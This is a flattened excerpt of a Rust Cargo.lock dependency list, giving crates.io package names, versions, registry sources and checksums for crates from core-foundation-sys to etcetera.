version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "core-foundation-sys" version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "cpufeatures" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crc32fast" version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "criterion" version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "criterion-plot" version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crossbeam-deque" version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9dd111b7b7f7d55b72c0a6ae361660ee5853c9af73f70c3c2ef6858b950e2e51"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crossbeam-epoch" version = "0.9.20" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.9.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d6914041f254d6e9176c01941b21115dcfb7089e55135a35411081bd106ef3f"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crossbeam-utils" version = "0.8.21" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crunchy" version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "crypto-common" version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "csv" version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "52cd9d68cf7efc6ddfaaee42e7288d3a99d613d4b50f76ce9827ae0c6e14f938"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "csv-core" version = "0.1.13" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.13" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "704a3c26996a80471189265814dbc2c257598b96b8a7feae2d31ace646bb9782"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ctr" version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "curve25519-dalek" version = "4.1.3" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "4.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "curve25519-dalek-derive" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "dashmap" version = "5.5.3" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "5.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "data-encoding" version = "2.11.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a4ae5f15dda3c708c0ade84bfee31ccab44a3da4f88015ed22f63732abe300c8"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "defmt" version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e2953bfe4f93bbd20cc71198842756f77d161884c99ebbabc41d80231ded88d1"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "defmt-macros" version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bad9c72e7ca2137e0dc3813245a0d282fd6daad32fd800af018306a9169b5fe8"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "defmt-parser" version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "10d60334b3b2e7c9d91ef8150abfb6fa4c1c39ebbcf4a81c2e346aad939fee3e"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "der" version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "deranged" version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "derive_arbitrary" version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e567bd82dcff979e4b03460c307b3cdc9e96fde3d73bed1496d2bc75d9dd62a"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "digest" version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.10.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "dispatch2" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e0e367e4e7da84520dedcac1901e4da967309406d1e51017ae1abfb97adbd38"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "displaydoc" version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "downcast-rs" version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ed25519" version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "ed25519-dalek" version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "either" version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "email_address" version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "encoding_rs" version = "0.8.35" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.8.35" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "enum-as-inner" version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1e6a265c649f3f5979b601d26f1d05ada116434c87741c9493cb56218f76cbc"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "enumflags2" version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1027f7680c853e056ebcec683615fb6fbbc07dbaa13b4d5d9442b146ded4ecef"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "enumflags2_derive" version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.7.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "equivalent" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "errno" version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "0.3.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "error-code" version = "3.3.2" source = "registry+https://github.com/rust-lang/crates.io-index"

version = "3.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dea2df4cf52843e0452895c455a1a2cfbb842a1e7329671acf418fdc53ed4c59"

source = "registry+https://github.com/rust-lang/crates.io-index"

name = "etcetera" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index"